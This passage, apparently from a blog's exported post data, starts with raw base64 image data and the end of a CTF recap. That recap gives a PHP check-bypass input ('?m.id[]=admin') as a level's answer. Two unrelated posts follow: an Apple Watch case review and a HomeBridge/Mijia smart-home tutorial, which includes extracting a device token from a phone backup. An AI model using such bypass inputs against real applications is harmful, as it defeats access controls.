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From the beginning, we can tell that this is a base64 compressed image. By pasting the above code directly into the browser’s address bar, we can get the URL where the answer is located. Enter the URL to pass the level!4. Break through the blockadeQuestion Explanation: This question shows the PHP code of the question. You need to find a way to use GET parameters to bypass the judgment and execute the setPassedCookie( ); method in the else block.Solution: This question involves a commonly used but lesser-known PHP vulnerability, detailed as follows:Summary of Common PHP Vulnerabilities in CTFThe question has been slightly modified. The answer to this question is: ?m.id[]=admin5. Penetration Test, 6. Penetration Test 2These two questions are basic introductory XSS questions, so they won’t be elaborated here.For this question, since the answer is placed on the front end, a website providing irreversible encryption in JS was used: https://www.sojson.com/jsobfuscator.html(Although I’m not sure if it’s true? Anyway, if it can be cracked, just consider it passed!)7. Moonlight Treasure BoxThis question is taken from a puzzle app, so it won’t be displayed here.SummaryThe competition system took about a week to set up, and the questions took about three months to slowly gather (inspiration needed); the competition has successfully concluded, and the feedback received was quite good—”interesting and fun”; this was my original intention, hoping everyone would explore and brainstorm from an interesting starting point; therefore, whether it’s the question names (all very movie-like) or the question directions, there won’t be too deep engineering or calculation stuff, as that would be too rigid and uninteresting!Additionally, here is the question response rate as a reference for difficulty:When creating the questions, the biggest fear was that the questions would be too easy and everyone would solve them quickly, or too difficult and everyone would get stuck. Both situations are awkward.The actual competition results (competition time: 90 minutes) met our expectations, just right! Not too hard or too easy, the first-place team solved 9 questions, and even the last-place team solved 7 questions; very close, but due to time scores and hint purchases, there was still a clear winner! Surprisingly, no one solved the entrance to the magic academy… QQThis concludes the summary of the engineering CTF competition.Addcn 2019 CTFFurther Reading Revealing a Clever Website Vulnerability Discovered Years Ago The APP Uses HTTPS Transmission, But the Data Was Still StolenFor any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Apple Watch Case Unboxing Experience (Catalyst & Muvit)", "url": "/posts/a66ce3dc8bb9/", "categories": "ZRealm, Life.", "tags": "life, unboxing, 3c, apple-watch, catalyst", "date": "2019-07-08 22:55:50 +0800", "snippet": "Apple Watch Case Unboxing Experience (Catalyst & Muvit)Catalyst Apple Watch Ultra-Thin Waterproof Case & Muvit Apple Watch Case[Latest Update] Apple Watch Series 6 Unboxing & Two-Year ...", "content": "Apple Watch Case Unboxing Experience (Catalyst & Muvit)Catalyst Apple Watch Ultra-Thin Waterproof Case & Muvit Apple Watch Case[Latest Update] Apple Watch Series 6 Unboxing & Two-Year Experience >>>Click Here Apple Watch Original Stainless Steel Milanese Loop Unboxing>>Click Here Thanks to Men’s Game for providing the Apple Watch Series 4 case for testing.As a clumsy person with OCD, using a delicate product like the Apple Watch is very troublesome; due to my clumsiness, it’s easy to accidentally bump it, and with OCD, any scratches make me very uncomfortable. So, I immediately applied a full-coverage screen protector to prevent accidents.But actually, just applying a full-coverage screen protector is not enough. The watch itself is curved, and the edges of the protector are fragile, easily chipping if the frame is accidentally rubbed:Full-coverage screen protector chipping without a caseI am already on my third full-coverage screen protector; although the watch screen itself is undamaged, it still hurts. Perfect fit + no impact on touch + thin + high transparency + no edge lifting = very expensive ($990/piece). The money spent on protectors is almost enough to upgrade to the stainless steel version. Therefore, the Apple Watch case is very important to me, as it enhances the protection of the frame and reduces the risk of damage from bumps.This article will unbox two Apple Watch cases and compare their experiences, functionality, appearance, and suitable scenarios. Let’s get started!Left: Muvit Case / Right: Catalyst Case (with strap)p.s. My watch model is: Apple Watch Series 4 (GPS + Cellular), 44mm Space Gray Aluminum Case with Black Sport BandCatalyst Apple Watch Ultra-Thin Waterproof Case (with strap)This case features an integrated design with a strap, providing comprehensive protection from wear to impact and water resistance.Unboxing and Usage:Front of the box100 meters waterproof / 360° full protection / 2 meters drop protectionBack of the boxIP-68 waterproof rating, each product tested at a depth of 100 meters, U.S. military-grade impact protection, direct screen operation, original sound quality for calls, can charge through the case, can detect heart rate through the case.IP-68 ( Wiki ):6 - Completely dustproof, no dust can enter, completely prevents contact.8 - Immersion in water beyond 1m.ContentsIn addition to the Catalyst Apple Watch case (with a model inside), it comes with a small screwdriver for easy installation.Protective Case (Including Strap) BodyProtective Case (Including Strap) Body BackComparison with Original Sport Band (L) (Left: Catalyst/Right: Original)Fixed Ring BuckleThe length is similar to the original sport band (L) but with denser holes, allowing for a more adjustable fit to the wrist size; the fixed ring has a buckle to ensure it does not fall off during intense exercise.Installation:We need to disassemble the Catalyst case first, then place the Apple Watch body inside and reassemble it. First, unscrew the back screws After removing the screws, hold the strap with both hands and use your thumbs to push the case body outwards. Disassemble all partsExploded View (Taken from Official Website) Remove the Apple Watch body from the existing sport bandFlip to the back and press the rectangular buckle with your fingernail, then push left or right! Place the Apple Watch body into the waterproof caseWhen installing, make sure the waterproof case is properly fitted without wrinkles to avoid affecting waterproof performance. Put on the protective case top coverSimilarly, ensure there are no wrinkles to avoid affecting waterproof performance. Reattach the strap body and screw it backSnap back the body and screw it back ( Please do not over-tighten the screws! )Testing: Charging can be directly attached:Test result: No problem, does not affect charging speed. Heart Rate:Left: With Case/Right: Bare DeviceTest result: No problem, does not affect heart rate detection. Display:Apple Watch 4 full-screen display is unobstructed, no problem ✅ Digital CrownCan be used normally ✅ Sound Reception Impact:No significant differences ✅ Appearance:Due to my large hands, I originally bought the largest 44mm version of the watch. After adding the protective case, it looks even more rugged and grand.Thoughts:This watch strap truly provides 360° comprehensive protection and enhances its waterproof function to adapt to more challenging environments.The strap is made of skin-friendly material, making it feel no different from the original sports strap. However, the adjustment part of the strap has denser holes, allowing for a more suitable size (the original strap either felt too loose or too tight for me). The buckle on the fixing ring also gives me more peace of mind as someone with OCD!The overall appearance is wild and rugged, making it perfect for outdoor activities, hiking, rock climbing, and diving. These are also the scenarios where this strap can provide the maximum protective effect!Remember to bring sunglasses next time, the sun is super brightCatalyst family photo ( AirPods case )Muvit Apple Watch Protective CaseThe second product I tried is the Muvit Apple Watch Protective Case. Compared to the professional protection of Catalyst, this one is simpler and more convenient, suitable for various daily life scenarios. Despite this, Muvit still passed the U.S. military standard MIL-STD 810G 3-meter drop test, ensuring safety and protection!Unboxing and Usage:Front of the boxTwo different color protective cases: Left - Black / Right - Light PurpleU.S. military standard MIL-STD 810G 3-meter drop test, extremely light 2.3GBack of the boxDual-layer structure protection, silicone shock-absorbing layer, polycarbonate buffering system, screen frame protectionContentsProtective case body, black/light purpleInstallation: Installation is very simple. First, remove the Apple Watch body from the existing sports strap.Flip to the back and press the rectangular buckle with your fingernail, then push left or right! Place the Apple Watch body “face down” into the protective case. Reattach the strap, and you’re done! Completion: Black versionLight purple versionTry-on, left: black / right: light purpleTesting:Digital Crown:Works normally ✅. Other functions like audio, heart rate, display, etc., are not affected as this is just a frame protective case, so no special tests are needed!Thoughts:The most satisfying aspect of using this protective case is that I can quickly and conveniently switch straps according to different life scenarios (leather strap for suits, sports strap for daily use). It’s easy to install and remove, and its protection is sufficient for all daily scenarios (housework, cleaning, moving things). Currently, I use this protective case for my daily life.Paired with a leather strapSummary:It has been over 4 months from receiving the trial to writing this article. During this period, I moved houses (Sorry… the scenes in this article are messy), participated in a duathlon (10KM running + 40KM cycling), and went diving in Malaysia. These two protective cases have accompanied me through various activities, and the full-coverage screen protector is still perfect!Remember how many screen protectors I changed? The answer is 3 in 3 months, averaging less than a month before they somehow got damaged and chipped. Each one costs $990 Orz I can only say it’s a regret meeting late. If I had known about protective cases earlier, I wouldn’t have wasted so much money!Both Catalyst and Muvit have solved my problem of constantly chipping screen protectors. If you don’t use a screen protector, you should definitely get a protective case to protect the screen edges; otherwise, a cracked screen will hurt even more.For recommendations, if you often engage in intense sports (rock climbing, diving) or labor work, I suggest choosing Catalyst for better peace of mind. If you’re just an office worker, occasionally run, and like to change watch bands according to your mood, then Muvit is sufficient!Here is a simple comparison table for your reference:Purchase: CATALYST FOR APPLE WATCH SERIES 4 44mm Ultra-Slim Waterproof Case MUVIT Apple Watch Series 4 (44mm) Impact Resistant CaseChat:From the first complete unboxing to three months of use, it’s been almost a year since I’ve been wearing my Apple Watch S4. There haven’t been many changes in usage; third-party apps are still scarce, and the most frequently used features are still Apple Pay, unlocking the Mac, and checking notifications. The Apple Watch has integrated into my daily life, and I’ve gotten used to its convenience. By the way, let’s look forward to Watch OS 6 together :)In the past six months, I’ve been more diligent in utilizing the Apple Watch’s fitness features, recording running and cycling times, routes, and heart rates. Besides recording, the awards make exercising more goal-oriented and fulfilling. Competing with friends or sharing results on social media makes exercising fun and easier to maintain!Awards, Competitions, Exercise Routes, Exercise Status Special thanks to Men’s Game for providing the Apple Watch Series 4 protective case for testing.Further Reading[Latest Updates] Apple Watch Series 6 Unboxing & Two-Year Experience »> Click Here Apple Watch Original Stainless Steel Milanese Loop Unboxing »> Click HereAlready bought the watch, how about considering AirPods 2?Check out »> AirPods 2 Unboxing and Hands-On ExperienceFor any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "First Experience with Smart Home - Apple HomeKit & Xiaomi Mijia", "url": "/posts/c3150cdc85dd/", "categories": "ZRealm, Life.", "tags": "life, unboxing, 3c, Mijia, homekit", "date": "2019-07-06 01:13:47 +0800", "snippet": "First Experience with Smart Home - Apple HomeKit & Xiaomi MijiaMijia Smart Camera and Mijia Smart Desk Lamp, Homekit Setup Tutorial[2020/04/20] Advanced Tutorial Released : Experienced users pl...", "content": "First Experience with Smart Home - Apple HomeKit & Xiaomi MijiaMijia Smart Camera and Mijia Smart Desk Lamp, Homekit Setup Tutorial[2020/04/20] Advanced Tutorial Released : Experienced users please proceed directly to the advanced tutorial>> Demonstration of using Raspberry Pi as HomeBridge host to connect all Mijia appliances to HomeKitMiscellaneous:I recently moved; unlike my previous place where the ceiling had office-style light fixtures that were too bright, the new place has decorative reflective lights that are a bit dim for using the computer or reading. After two weeks, my eyes felt more dry and uncomfortable. Initially, I planned to shop at IKEA, but considering the light color and eye protection, I ultimately chose Xiaomi desk lamps (since I already had a Xiaomi smart camera, all part of the Mijia series).This Article:I didn’t particularly check if the products supported Apple HomeKit when purchasing, which is quite a failure as an iOS developer because I didn’t expect Xiaomi to support it.So, this article will separately introduce Apple HomeKit usage, how to use third-party connections for smart home devices that do not support Apple HomeKit, and how to set up a smart home using Mijia itself (with IFTTT).You can skip to the sections that suit your device needs.Purchase:I bought two desk lamps, one (Pro) for the computer desk and the other for the bedside as a reading lamp.Mijia Desk Lamp Pro :NT$ 1,795 supports Mijia, Apple HomeKitMijia LED Smart Desk Lamp :NT$ 995 only supports MijiaFor detailed introductions, refer to the official website. Both lamps support smart control, color change, brightness adjustment, and eye protection. The Pro version supports Apple HomeKit and three-angle adjustments. So far, I am quite satisfied with the functionality of one lamp. If I had to pick a flaw, it would be that the Pro version’s angle adjustment only allows the base to rotate horizontally, not the lamp itself, which means you can’t adjust the light angle!Ideal Smart Home Goals:Current Devices: Mijia Smart Camera Pan-Tilt Version 1080P (supports: Mijia) Mijia Desk Lamp Pro (supports: Apple HomeKit, Mijia) Mijia LED Smart Desk Lamp (supports: Mijia)Ideal Goals:When returning home: Automatically turn off the camera (for privacy and to prevent false alarms, as the Mijia app has a bug where the home security alarm cannot be turned on/off according to the set time), and turn on the Pro lamp on the computer desk (to avoid fumbling in the dark).When leaving home: Automatically turn on the camera (default to home security mode) and turn off all lights.Final Achievement in This Article:Receive push notifications when leaving or returning home, and trigger operations with a single tap on the phone (with the current devices, it’s not possible to achieve the ideal automation goal).Smart Home Setup Journey:Apple HomeKit Usage*Only for Mijia Desk Lamp Pro! Mijia Desk Lamp Pro! Mijia Desk Lamp Pro!This is the simplest part because it’s all native functionality.Only four steps Find the Home app (if not available, search for “Home” in the App Store and install it) Open the Home app Click the “+” in the upper right corner to add an accessory Scan the HomeKit QR code at the bottom of the Pro lamp to add the accessory!After successfully adding the accessory, press hard (3D TOUCH) / long press on the accessory to adjust the brightness and color.What about smart home devices that do not support Apple HomeKit? How to use third-party integration with HomeKit?Apart from the smart devices that support Apple HomeKit, does it mean that devices that do not support Apple HomeKit cannot be controlled through the Home app at all?This section will guide you step-by-step on how to add unsupported devices (cameras, regular desk lamps) to the “Home” app! Mac ONLY, Windows users please skip to the section on using Mi Home My device is MacOS 10.14/iOS 12Using HomeBridge:HomeBridge uses a Mac computer as a bridge to simulate unsupported devices as HomeKit devices, allowing them to be added to the “Home” accessories.Operation ComparisonOne key point is that you need to keep a Mac computer on to maintain the bridge channel smoothly; once the computer is turned off or goes to sleep, you will not be able to control those HomeKit devices.Of course, there are also advanced methods online where people buy a Raspberry Pi to use as a bridge; however, this involves too much technical detail and will not be covered in this article.If you are aware of the drawbacks and still want to try, you can continue reading or skip to the next section on using Mi Home directly.Step 1:Install node.js: Click here to download and install it.Step 2:Open “Terminal” and entersudo npm -vCheck if the node.js npm package manager is installed successfully: if the version number is displayed, it means success!Step 3:Install the HomeBridge package via npm:sudo npm -g install homebridge --unsafe-permAfter the installation is complete… the HomeBridge tool is installed!As mentioned earlier, “HomeBridge uses a Mac computer as a bridge to simulate unsupported devices as HomeKit devices,” HomeBridge is just a platform, and each device needs to find additional HomeBridge plugin resources to be added.It’s easy to find, just google or search on GitHub for “Mi Home product English name homebridge” and you will find many resources; here are two resources for devices I use:1. Mi Home Camera Pan-Tilt Version Resource: MijiaCameraCameras are relatively tricky devices, and I spent some time researching and organizing this; I hope it helps those in need!First, use “Terminal” to install the MijiaCamera npm package with the commandsudo npm install -g homebridge-mijia-cameraAfter installation, we need to obtain the camera’s network IP address and Token information.Open the Mi Home APP → Camera → Top right corner “…” → Settings → Network Information to get the IP address!Token information is more troublesome and requires you to connect your phone to the Mac:Open iTunes InterfaceSelect backup Do not check Encrypt local backup, and click “Back Up Now.”After the backup is complete, download and install the backup viewing software: iBackupViewerOpen “iBackupViewer”. The first time you launch it, you will need to go to Mac “System Preferences” -> “Security & Privacy” -> “Privacy” -> “+” -> Add “iBackupViewer”.*If you have privacy concerns, you can disable the network while using this software and remove it after use.Open “iBackupViewer” again. After successfully reading the backup file, click the top right corner to switch to “Tree View” mode.On the left side, you will see all the installed apps. Find the Mi Home app “AppDomain-com.xiaomi.mihome” -> “Documents”.In the document list on the right, find and select the file “number_mihome.sqlite”.Click the top right corner “Export” -> “Selected”.Drop the exported sqlite file into https://inloop.github.io/sqlite-viewer/ to view the content.You can see all the device information fields on the Mi Home app. Scroll to the far right end to find the ZTOKEN field. Double-click to edit, select all, and copy.Finally, open http://aes.online-domain-tools.com/ to convert ZTOKEN into the final Token. Paste the copied ZTOKEN into “Input Text” and select “Hex”. Enter “00000000000000000000000000000000” (32 zeros) in the Key field and select “Hex”. Click “Decrypt!” to convert. Select all, copy the blue box in the bottom right corner, and remove spaces to get the final Token. Token: I tried using “miio” to sniff directly, but it seems that the Mi Home camera firmware has been updated, and this method no longer works to quickly and conveniently obtain the Token!Back to HomeBridge! Edit the config file config.jsonUse “Finder” -> “Go” -> “Go to Folder” -> Enter “~/ .homebridge” to go.Open “config.json” with a text editor. If this file does not exist, create one yourself or click here to download and place it directly.{ \"bridge\":{ \"name\":\"Homebridge\", \"username\":\"CC:22:3D:E3:CE:30\", \"port\":51826, \"pin\":\"123-45-568\" }, \"accessories\":[ { \"accessory\":\"MijiaCamera\", \"name\":\"Mi Camera\", \"ip\":\"\", \"token\":\"\" } ]}Add the above content to config.json, and input the IP and Token obtained earlier.Then, go back to the “Terminal” and enter the following command to start HomeBridge:sudo homebridge startIf you have already started it and then changed the config.json content, you can use:sudo homebridge restartRestartAt this point, a HomeKit QRCode will appear for you to scan and add accessories (steps as mentioned above, the way to add Apple HomeKit devices).Below will also have status messages:[2019–7–4 23:45:03] [Mi Camera] connecting to camera at 192.168.0.100…[2019–7–4 23:45:03] [Mi Camera] current power state: offIf you see these and no error messages appear, it means the setup is successful!The most common error is usually an incorrect Token. Just check if there are any omissions in the above process.Now you can turn the Mi Home Smart Camera on and off from the “Home” APP!2. Mi Home LED Smart Desk Lamp HomeBridge Resource: homebridge-yeelight-wifiNext is the Mi Home LED Smart Desk Lamp. Since it does not support Apple HomeKit like the Pro version, we still need to use the HomeBridge method to add it. Although the steps do not require a cumbersome process to obtain IP and Token, it is relatively simpler than the camera, but the desk lamp has its own pitfalls. You need to use another YeeLight APP to pair it and then turn on the local network control setting:I have to complain about this poor integration; the native Mi Home APP cannot make this setting. So please search for the “ Yeelight “ APP in the APP Store to download and install it.Open the APP -> Log in directly using the Mi Home account -> Add device -> Mi Home Desk Lamp -> Follow the instructions to rebind the desk lamp to the Yeelight APP.After the device is bound, go back to the “Device” page -> Click “Mi Home Desk Lamp” to enter -> Click the bottom right “△” Tab -> Click “Local Network Control” to enter the settings -> Turn on the button to allow local network control.The desk lamp setup is complete here. You can keep this APP to control the desk lamp or rebind it back to Mi Home.Next is the HomeBridge setup; similarly, open the “Terminal” and enter the command to install the homebridge-yeelight-wifi npm packagesudo npm install -g homebridge-yeelight-wifiAfter installation, follow the same steps as the camera, go to the ~/.homebridge folder, create or edit the config.json file, and this time just add the following inside the last }:\"platforms\": [ { \"platform\" : \"yeelight\", \"name\" : \"yeelight\" } ]That’s it!Finally, combine the above camera config.json file as follows:{ \"bridge\": { \"name\": \"Homebridge\", \"username\": \"CC:22:3D:E3:CE:30\", \"port\": 51826, \"pin\": \"123-45-568\" }, \"accessories\": [ { \"accessory\": \"MijiaCamera\", \"name\": \"Mi Camera\", \"ip\": \"\", \"token\": \"\" } ], \"platforms\": [ { \"platform\" : \"yeelight\", \"name\" : \"yeelight\" } ]}Then go back to the “Terminal” and enter:sudo homebridge startorsudo homebridge restartYou will see the unsupported Mi Home LED Smart Desk Lamp added to the HomeKit “Home” APP!And it also supports color and brightness adjustment!All HomeKit accessories are added, how to make them smart?After adding and bridging everything, open the “Home” APP again.Follow the steps to add a scene scenario, here using “Going Home” as an example:Click the “+” in the upper right corner -> Add Scenario -> Custom -> Enter the accessory name yourself (EX: Going Home) -> Click “Add Accessory” at the bottom -> Select the HomeKit accessories that have been connected -> Set the accessory status for this scene (Camera: Off / Desk Lamp: On) -> You can click “Test Scenario” to test -> Click “Done” in the upper right corner!Now the scene is set! At this point, clicking the scene on the homepage will execute the settings for all the accessories inside!There is also a quick tip, which is to directly click the house-shaped button in the pull-up control menu to quickly operate HomeKit/execute scenarios (you can switch modes in the upper right corner)!Now that we have the intelligence, how do we automate it?Now that we have the intelligence, I want to achieve the ultimate goal: automatically turn off the camera and turn on the lights when I get home; automatically turn on the camera and turn off the lights when I leave home.Switch to the third tab “Automation” to set it up. Unfortunately, I don’t have any of the aforementioned devices (iPad/Apple TV/HomePod) to act as a “Home Hub“, so I haven’t researched this part.The principle seems to be that when you get home, the “Home Hub” detects your phone/watch and triggers it accurately!Here I found a tricky method: (GPS sensing)By using a third-party app to connect to “Home” and add automation settings, you can use your phone’s GPS to achieve automation and unlock the “Automation” tab’s functionality.p.s. GPS has an error margin of about 100 meters.The third-party app I used is: myHome PlusDownload & install the app -> Open the app -> Allow access to “Home Data” -> You will see the data configuration of “Home” -> Click the “Settings button” in the upper right corner -> Click “My Home” to enter -> Scroll down to the “Triggers” area -> Click “Add Trigger”Select “Location” as the trigger type -> Enter a name (EX: Going Home) -> Click “Set Location” to set the location area -> Then in REGION STATUS, you can set whether to enter or leave the area -> Finally, in SCENES, you can choose the corresponding “scenario” to execute (created above).After clicking “Done” in the upper right corner to save, go back to the “Home” app, and you will see that the “Automation” tab is now available!At this point, you can click the “+” in the upper right corner to directly add automation scripts using the “Home” app!The steps are similar to the third-party app, but with better integration! After creating the automation using the native “Home” app, you can also swipe to delete the one created with the third-party app. !! Just note that you need to keep at least one; otherwise, the tab will revert to its original locked state!!Siri Voice Control:Compared to the Mi Home introduced below, HomeKit has a high level of integration and can directly use voice control for the set accessories and execute scenes without additional settings.This concludes the introduction to HomeKit settings. Next, let’s explain how to use Mi Home’s native smart home features.Using Mi Home to build a smart home:Here I encountered a confusing point: I couldn’t find the same Mi Home desk lamp in the list of new devices in Mi Home. The answer is:Just look at the text, this is itOther devices: For the camera and Pro desk lamp, just follow the official instructions to add them, no need to elaborate here.Scene Scenario Settings:Similar to the “Home” setup -> Switch to the “Smart” tab -> Select “Manual Execution” -> Choose device operation at the bottom (since it’s native, you can choose more functions) -> Continue to add other devices (desk lamp) -> Click “Save” to complete! Someone might ask why not just choose 